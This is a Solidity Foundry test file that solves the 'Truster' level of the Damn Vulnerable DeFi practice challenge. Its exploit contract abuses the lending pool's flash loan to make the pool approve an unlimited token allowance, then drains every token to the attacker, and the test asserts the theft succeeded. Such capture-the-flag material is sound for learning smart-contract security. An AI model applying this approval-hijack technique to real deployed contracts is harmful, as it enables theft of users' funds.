|
// TrusterExploit.t.sol |
|
// SPDX-License-Identifier: MIT |
|
pragma solidity >=0.8.0; |
|
|
|
import {Utilities} from "../../utils/Utilities.sol"; |
|
import "forge-std/Test.sol"; |
|
import {DamnValuableToken} from "../../../src/Contracts/DamnValuableToken.sol"; |
|
import {TrusterLenderPool} from "../../../src/Contracts/truster/TrusterLenderPool.sol"; |
|
|
|
contract TrusterExploit { |
|
function attack(TrusterLenderPool pool, DamnValuableToken token) external { |
|
// Trick the pool into approving this contract to spend all tokens |
|
pool.flashLoan( |
|
0, |
|
address(this), |
|
address(token), |
|
abi.encodeWithSignature( |
|
"approve(address,uint256)", |
|
address(this), |
|
type(uint256).max |
|
) |
|
); |
|
// Steal all tokens from the pool |
|
token.transferFrom(address(pool), msg.sender, token.balanceOf(address(pool))); |
|
} |
|
} |
|
|
|
contract Truster is Test { |
|
uint256 internal constant TOKENS_IN_POOL = 1_000_000e18; |
|
Utilities internal utils; |
|
TrusterLenderPool internal trusterLenderPool; |
|
DamnValuableToken internal dvt; |
|
address payable internal attacker; |
|
|
|
function setUp() public { |
|
utils = new Utilities(); |
|
attacker = utils.createUsers(1)[0]; |
|
dvt = new DamnValuableToken(); |
|
trusterLenderPool = new TrusterLenderPool(address(dvt)); |
|
dvt.transfer(address(trusterLenderPool), TOKENS_IN_POOL); |
|
} |
|
|
|
function testExploit() public { |
|
TrusterExploit exploit = new TrusterExploit(); |
|
vm.startPrank(attacker); |
|
exploit.attack(trusterLenderPool, dvt); |
|
vm.stopPrank(); |
|
assertEq(dvt.balanceOf(address(trusterLenderPool)), 0); // Pool is drained |
|
assertEq(dvt.balanceOf(attacker), TOKENS_IN_POOL); // Attacker has all tokens |
|
} |
|
} |